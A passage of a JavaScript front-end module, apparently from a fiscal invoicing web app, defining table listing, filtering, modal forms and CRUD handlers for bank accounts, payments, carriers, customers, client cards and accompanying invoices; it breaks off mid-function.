attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
accountName1: {field: 'accountName1', title: __('Account Name')},
bankAddressLine: {field: 'bankAddressLine', title: __('Bank Address Line')},
bankCity: {field: 'bankCity', title: __('Bank City')},
bankCountry: {field: 'bankCountry', title: __('Bank Country')},
bankCountryCode: {field: 'bankCountryCode', title: __('Bank Country Code')},
bankName: {field: 'bankName', title: __('Bank Name')},
bankSwift: {field: 'bankSwift', title: __('Bank Swift')},
centerType: {field: 'centerType', title: __('Center Type')},
currency: {field: 'currency', title: __('Currency')},
number: {field: 'number', title: __('number')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'number', 'currency', 'accountName1', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({
item: opts.item,
banks: Cache.get('banks'),
currencies: Cache.get('currencies'),
centerTypes: Cache.get('centerTypes')
}),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
BankPayment: {
itemType: 'bank-payments',
prefix: 'devpos',
cancel: function(iic) {
let self = this;
swalConfirm({
text: '',
type: 'question',
confirm: function(opts) {
new Route(self.itemType).prefix(self.prefix).whereId(iic).action('cancel').put({}, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
});
},
create: function() {
return this.modal();
},
correct: function(iic) {
return this.modal({iic: iic});
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
download: function(eic) {
return Export.html2pdf({
html: this.replaceCanvasWithImage($('#invoiceContent')).html(),
withHeader: false
});
},
edit(itemID) {
let self = this;
let item = Cache.get(this.itemType).find(x => x.id == itemID);
//first get it from db
return self.modal({item: item});
},
export: function() {
//download it
window.location.href = '/'+ this.prefix +'/'+ this.itemType +'/export?'+ $.param(this.queryParameters());
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.operatorName)) {
filtered = filtered.filter(row => {
return row.operatorName.toLowerCase().startsWith(parameters.operatorName.toLowerCase());
});
}if(!empty(parameters.customerBusinessName)) {
filtered = filtered.filter(row => {
if (!empty(row.customerBusinessName))
return row.customerBusinessName.toLowerCase().startsWith(parameters.customerBusinessName.toLowerCase());
});
}
if(!empty(parameters.name)) {
filtered = filtered.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
if(!empty(parameters.total_min)) {
filtered = filtered.filter(row => {
return row.totalPrice >= parseFloat(parameters.total_min);
});
}
if(!empty(parameters.total_max)) {
filtered = filtered.filter(row => {
return row.totalPrice <= parseFloat(parameters.total_max);
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.dateTimeCreated <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'refCode', 'payerNipt', 'datTimSend', 'bankNipt', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
refCode: {field: 'refCode', title: __('Reference Code')},
payerNipt: {field: 'payerNipt', title: __('Payer')},
datTimSend: {field: 'datTimSend', title: __('Date Time')},
bankNipt: {field: 'bankNipt', title: __('Bank Nipt')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'refCode', 'payerNipt', 'datTimSend', 'bankNipt', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({item: opts.item}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add products
parameters.pymtNotItems = [];
$('.paymentsList tbody tr').each(function() {
parameters.pymtNotItems.push({
einFic: $(this).attr('data-einFic'),
barcode: $(this).attr('data-overpaidAmount'),
isInvestment: $(this).attr('data-isInvestment'),
paidCur: $(this).attr('data-paidCur'),
paymentDateTime: $(this).attr('data-paymentDateTime'),
pymtStatus: $(this).attr('data-pymtStatus'),
pymtType: $(this).attr('data-pymtType'),
transactionCode: $(this).attr('data-transactionCode')
});
});
return parameters;
},
save: function(opts) {
if (empty(opts.iic)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
//opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.iic).action('correct').put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
},
shown: function($modal) {
//listen to order.changed event to re calculate summaries
//fire trigger
$('form[name="newInvoice"]').on('order.changed', function() {
DevPos.Invoice.order.summaries.calculate();
});
}
};
opts = $.extend(defaults, opts);
console.log(opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
else if (opts.iic)
return Modal.edit({ ...opts, title: __('Correct') +': '+ opts.iic });
return Modal.create(opts);
},
payments: {
add: function() {
let parameters = {
einFic: $('.vModal:visible [name="einFic"]').val(),
barcode: $('.vModal:visible [name="barcode"]').val(),
isInvestment: $('.vModal:visible [name="isInvestment"]').val(),
paymentDateTime: $('.vModal:visible [name="paymentDateTime"]').val(),
paidAmt: $('.vModal:visible [name="paidAmt"]').val(),
paidCur: $('.vModal:visible [name="paidCur"]').val(),
pymtStatus: $('.vModal:visible [name="pymtStatus"]').val(),
pymtType: $('.vModal:visible [name="pymtType"]').val(),
transactionCode: $('.vModal:visible [name="transactionCode"]').val(),
overpaidAmount: $('.vModal:visible [name="overpaidAmount"]').val(),
};
let nr = $('.paymentsList tbody tr').length + 1;
parameters.nr = nr;
$('.paymentsList tbody').append(this.row(parameters));
//clear all inputs
$('.vModal:visible .newPayment input').val('');
},
remove: function(elm) {
$(elm).closest('tr').remove();
},
row: function(parameters = {}) {
return `
<tr
data-einFic="${parameters.einFic}"
data-barcode="${parameters.barcode}"
data-paymentDateTime="${parameters.paymentDateTime}"
data-isInvestment="${parameters.isInvestment}"
data-paidAmt="${parameters.paidAmt}"
data-paidCur="${parameters.paidCur}"
data-pymtStatus="${parameters.pymtStatus}"
data-pymtType="${parameters.pymtType}"
data-transactionCode="${parameters.eintransactionCodeFic}"
>
<td>${parameters.nr}</td>
<td>${parameters.einFic}</td>
<td>${parameters.paymentDateTime}</td>
<td>${parameters.paidAmt}</td>
<td>${parameters.paidCur}</td>
<td>${parameters.pymtStatus}</td>
<td>${parameters.pymtType}</td>
<td>${parameters.transactionCode}</td>
<td>${parameters.overpaidAmount}</td>
<td><i class="fa fa-trash k-font-danger" onclick="DevPos.BankPayment.payments.remove(this)"></i></td>
</tr>`;
}
},
print: function() {
//first we have to replace the canvas with image
var can = document.querySelector('#qrcode canvas');
var ctx = can.getContext('2d');
//ctx.fillRect(50,50,50,50);
var img = new Image();
img.src = can.toDataURL();
document.body.appendChild(img);
let div = $('<div />').html($('#invoiceContent').parent().html());
div.find('canvas').replaceWith(img);
//print it
Printer.print(div.html());
},
replaceCanvasWithImage: function($element) {
//first we have to replace the canvas with image
var cans = $element[0].querySelectorAll('canvas');
cans.forEach(function(can) {
var ctx = can.getContext('2d');
var img = new Image();
img.src = can.toDataURL();
document.body.appendChild(img);
//replace it
can.replaceWith(img);
});
return $element;
},
search: function() {
return new Model(this.itemType);
},
url: function(itemID) {
return `/devpos/invoices/${itemID}`;
},
view: function(itemID) {
window.location.href = this.url(itemID);
}
},
Carrier: {
itemType: 'carriers',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
address: {field: 'address', title: __('Address')},
iDtype: {field: 'iDtype', title: __('ID Type')},
identificationNo: {field: 'identificationNo', title: __('Identification No')},
town: {field: 'town', title: __('Town')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'cardNumber', 'name', 'surname', 'contact', 'address', 'clientCardType', 'email', 'customer', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({item: opts.item, idTypes: Cache.get('idTypes'), cities: Cache.get('cities') }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
Customer: {
itemType: 'customers',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
address: {field: 'address', title: __('Address')},
code: {field: 'code', title: __('Code')},
country: {field: 'country', title: __('Country')},
countryCode: {field: 'countryCode', title: __('Country Code')},
idNumber: {field: 'idNumber', title: __('Number')},
idType: {field: 'idType', title: __('Type')},
town: {field: 'town', title: __('Town')},
street: {field: 'street', title: __('Street')},
created_at: {field: 'created_at', title: __("Created Date"), type: "date", template: function(row){ return moment(row.created_at).format("MM/DD/YYYY"); }},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'name', 'address', 'idNumber', 'idType', 'code', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({item: opts.item, idTypes: Cache.get('idTypes'), countries: Arr.pluck(Cache.get('countries'), 'name', 'countryCode') }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//add countryCode
parameters.countryCode = Cache.get('countries').find(row => row.id == parameters.countryId)?.countryCode;
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
ClientCard: {
itemType: 'client-cards',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
console.log('whole length: '+ filtered.length);
// we add other filter condition here
if(!empty(parameters.name)) {
filtered = source.filter(row => {
return row.name.toLowerCase().startsWith(parameters.name.toLowerCase());
});
}
console.log('filtered length: '+ filtered.length);
//and in the end we return it
return filtered;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 50, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
name: {field: 'name', title: __('Name')},
address: {field: 'address', title: __('Address')},
birthday: {field: 'birthday', title: __('Birthday')},
cardNumber: {field: 'cardNumber', title: __('Card Number')},
clientCardType: {field: 'clientCardType', title: __('Client Card Type')},
contact: {field: 'contact', title: __('Contact')},
percentage: {field: 'percentage', title: __('Percentage')},
points: {field: 'points', title: __('Points')},
surname: {field: 'surname', title: __('Surname')},
totalPoints: {field: 'totalPoints', title: __('Total Points')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Edit')}" data-id="${row.id}"><i class="la la-pencil"></i> </a>
<a href="javascript:void(0);" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('Delete')}" data-id="${row.id}"><i class="la la-trash"></i></a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-pencil').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.edit(itemID);
});
$(instance).find('a[data-id] i.la.la-trash').closest('a').click(function(){
let itemID = $(this).attr('data-id');
self.delete(itemID, function() {
$('a[data-id="'+ itemID +'"]').closest('tr').remove();
});
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
this.list({
columns: ['id', 'cardNumber', 'name', 'surname', 'contact', 'address', 'clientCardType', 'email', 'customer', 'actions'],
source: Cache.get(this.itemType),
filter: function(source = []) {
return self.filter(source);
}
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'lg',
template: templates()[self.prefix][self.itemType].template({item: opts.item, idTypes: Cache.get('idTypes'), cities: Cache.get('cities') }),
save: function(opts) {
if (empty(opts.item)) {
new Route(self.itemType).prefix(self.prefix).store(opts.parameters, function(res) {
//Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
else {
//add id
opts.parameters.id = parseInt(opts.item.id);
new Route(self.itemType).prefix(self.prefix).whereId(opts.item.id).put(opts.parameters, function(res) {
// Page.reload(2000);
opts.callback();
}, function(res) {
generalError();
});
}
},
parameters: function($modal) {
let parameters = Modal.parameters($modal);
return parameters;
},
callback: function(res) {
closeVModal(function(){
generalSuccess();
Page.redirect(self.url(res.Data.id), 2000);
});
}
};
opts = $.extend(defaults, opts);
if (opts.item?.id) {
opts.title = `Edit ${opts.item.name}`;
}
//opts = $.extend(defaults, opts);
if (opts.item?.id)
return Modal.edit({ ...opts, title: __('Edit') +': '+ opts.item.name });
return Modal.create(opts);
},
search() {
return new Model(this.itemType);
},
},
AccompanyingInvoice: {
itemType: 'accompanying-invoices',
prefix: 'devpos',
create: function() {
return this.modal();
},
delete: function(itemID, callback) {
let self = this;
return swalDelete({
path: self.prefix + '/'+ self.itemType +'/'+ itemID,
itemID: itemID,
callback: function() {
return isFunction(callback) ? callback():'';
}
});
},
edit(itemID) {
let self = this;
//first get it from db
let item = Cache.get(self.itemType).find(row => row.id == itemID);
return self.modal({item: item});
},
filter(source = []) { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="filter"]') , true);
let filtered = source?.slice()||[];
// we add other filter condition here
if(!empty(parameters.documentNumber)) {
filtered = filtered.filter(row => {
return row.documentNumber.toLowerCase().startsWith(parameters.documentNumber.toLowerCase());
});
}if(!empty(parameters.buyerName)) {
filtered = filtered.filter(row => {
if (!empty(row.buyerName))
return row.buyerName.toLowerCase().startsWith(parameters.buyerName.toLowerCase());
});
}
if(!empty(parameters.buyerNuis)) {
filtered = filtered.filter(row => {
return row.buyerNuis.toLowerCase().startsWith(parameters.buyerNuis.toLowerCase());
});
}
if(!empty(parameters.eic)) {
filtered = filtered.filter(row => {
return row.eic.toLowerCase().startsWith(parameters.eic.toLowerCase());
});
}
if(!empty(parameters.invoiceStatus)) {
filtered = filtered.filter(row => {
return row.invoiceStatus.toLowerCase().startsWith(parameters.invoiceStatus.toLowerCase());
});
}
if(!empty(parameters.statusCanBeChanged)) {
filtered = filtered.filter(row => {
return row.statusCanBeChanged.toLowerCase().startsWith(parameters.statusCanBeChanged.toLowerCase());
});
}
if(!empty(parameters.amount_min)) {
filtered = filtered.filter(row => {
return row.amount >= parseFloat(parameters.amount_min);
});
}
if(!empty(parameters.amount_max)) {
filtered = filtered.filter(row => {
return row.amount <= parseFloat(parameters.amount_max);
});
}
if(!empty(parameters.dueDate_min)) {
filtered = filtered.filter(row => {
return row.dueDate >= parameters.dueDate_min;
});
}
if(!empty(parameters.dueDate_max)) {
filtered = filtered.filter(row => {
return row.dueDate <= parameters.dueDate_max;
});
}
if(!empty(parameters.created_min)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate >= parameters.created_min;
});
}
if(!empty(parameters.created_max)) {
filtered = filtered.filter(row => {
return row.invoiceCreatedDate <= parameters.created_max;
});
}
//and in the end we return it
return filtered;
},
queryParameters() { //this method is used for filtering items based on filter form on the page
let parameters = Modal.parameters( $('form[name="main_filter"]') , true);
return parameters;
},
list: function(opts = {}) {
let self = this;
let defaults = {
target: '.k_datatable', //selector
itemType: self.itemType,
columns: ['id', 'code', 'created_at', 'actions'],
attributes: {
id: {field: 'id', title: "#", sortable: !1, width: 30, type: "number", selector: !1, textAlign: "center", template:function(row, index, instance) {
//console.log(instance);
//console.log(instance.getData());
return (instance.API.params.pagination.page - 1) * instance.options.data.pageSize + (index + 1);
}},
businessUnit: {field: 'businessUnit', title: __('businessUnit')},
startAddress: {field: 'startAddress', title: __('Start Address')},
startCity: {field: 'startCity', title: __('Start City')},
destinationAddress: {field: 'destinationAddress', title: __('Destination Address')},
destinationCity: {field: 'destinationCity', title: __('Destination City')},
dateTimeCreated: {field: 'dateTimeCreated', title: __("Created Date"), type: "date", template: function(row){ return moment(row.dateTimeCreated).format("MM/DD/YYYY hh:mm"); }},
vehiclePlate: {field: 'vehiclePlate', title: __('Vehicle Plate')},
businessUnit: {field: 'businessUnit', title: __('businessUnit')},
destinationPoint: {field: 'destinationPoint', title: __('destinationPoint')},
fwtnic: {field: 'fwtnic', title: __('fwtnic')},
fwtnic: {field: 'isAfterDelivery', title: __('isAfterDelivery')},
isEscortRequired: {field: 'isEscortRequired', title: __('isEscortRequired')},
isGoodsFlammable: {field: 'isGoodsFlammable', title: __('isGoodsFlammable')},
issuerAddress: {field: 'issuerAddress', title: __('issuerAddress')},
issuerName: {field: 'issuerName', title: __('issuerName')},
issuerNuis: {field: 'issuerNuis', title: __('issuerNuis')},
issuerTown: {field: 'issuerTown', title: __('issuerTown')},
operatorCode: {field: 'operatorCode', title: __('operatorCode')},
packNumber: {field: 'packNumber', title: __('packNumber')},
softwareNumber: {field: 'softwareNumber', title: __('softwareNumber')},
startAddress: {field: 'startAddress', title: __('startAddress')},
startCity: {field: 'startCity', title: __('startCity')},
startDateTime: {field: 'startDateTime', title: __('startDateTime')},
startPoint: {field: 'startPoint', title: __('startPoint')},
total: {field: 'total', title: __('total')},
vehicleOwnershipType: {field: 'vehicleOwnershipType', title: __('vehicleOwnershipType')},
vehiclePlate: {field: 'vehiclePlate', title: __('vehiclePlate')},
verificationUrl: {field: 'verificationUrl', title: __('verificationUrl')},
wtnNumber: {field: 'wtnNumber', title: __('wtnNumber')},
wtnProduct: {field: 'wtnProduct', title: __('wtnProduct')},
wtnType: {field: 'wtnType', title: __('wtnType')},
wtnic: {field: 'wtnic', title: __('wtnic')},
actions: {title: __('Actions'), sortable:!1, width: 150, overflow:"visible", autoHide:!1, template:function(row) {
return `
<a href="javascript:void(0);" target="_blank" class="btn btn-sm btn-clean btn-icon btn-icon-md" title="${__('View')}" data-id="${row.id}" ><i class="la la-eye"></i> </a>
`;
}}
},
onUpdate: function(instance) {
$(instance).find('a[data-id] i.la.la-eye').closest('a').click(function(){
let itemID = $(this).attr('data-id');
window.location.href = self.url(itemID);
});
}
};
opts = $.extend(defaults, opts);
//run kdatatable
return $(opts.target).kdatatableL(opts);
},
load: function(opts = {}) {
let self = this;
new Route(this.itemType).prefix(this.prefix).query(this.queryParameters()).get(function(res) {
self.list({
columns: ['id', 'startCity', 'startAddress', 'destinationCity', 'destinationAddress', 'dateTimeCreated', 'amount', 'buyerName', 'buyerNuis', 'actions'],
source: res.Data,
filter: function(source = []) {
return self.filter(source);
}
});
});
},
modal: function(opts = {}) {
let self = this;
let defaults = {
itemType: self.itemType,
item: opts.item||{},
size: 'xl',
template: templates()[self.prefix][self.itemType].template({item: opts.item, tcrs: Cache.get('tcrs')}),
parameters: function($modal) {
let parameters = Modal.parameters($modal);
//set invoiceType = 1
parameters.invoiceType = 1;
parameters.isEinvoice = true;
//add customer
if (empty(parameters.customer.idNumber) && empty(parameters.customer.name))
delete parameters.customer;
//add products
parameters.invoiceProducts = [];
$('#productsList tbody tr').each(function() {
parameters.invoiceProducts.push({
productId: $(this).attr('data-product-id'),
barcode: $(this).attr('data-barcode'),
isInvestment: $(this).attr('data-investment'),
name: $(this).find('[data-attribute="name"]').text().trim(),
isRebateReducingBasePrice: 1,
rebatePrice: 0,
unit: $(this).find('[data-attribute="unit"]').text().trim(),
quantity: $(this).find('[name="quantity"]').val().trim(),
unitPrice: parseFloat($(this).find('[name="unitPrice"]').val()?.trim()||0),
vatRate: $(this).find('[data-attribute="vatRate"]').text().trim(),
});
});
//add fees
parameters.invoiceFees = [];
$('#feesList tbody tr:not(:last)').each(function() {
parameters.invoiceFees.push({
feeType: $(this).find('[name="feeType"]').val(),
amount: $(this).find('[name="amount"]').val(),
});
});
//add invoicePayments
parameters.invoicePayments = [];
$('#feesList tbody tr:not(:last)').each(function() {
let payment = {
paymentMethodType: $(this).find('[name="paymentMethodType"]').val(),
amount: $(this).find('[name="amount"]').val()
};
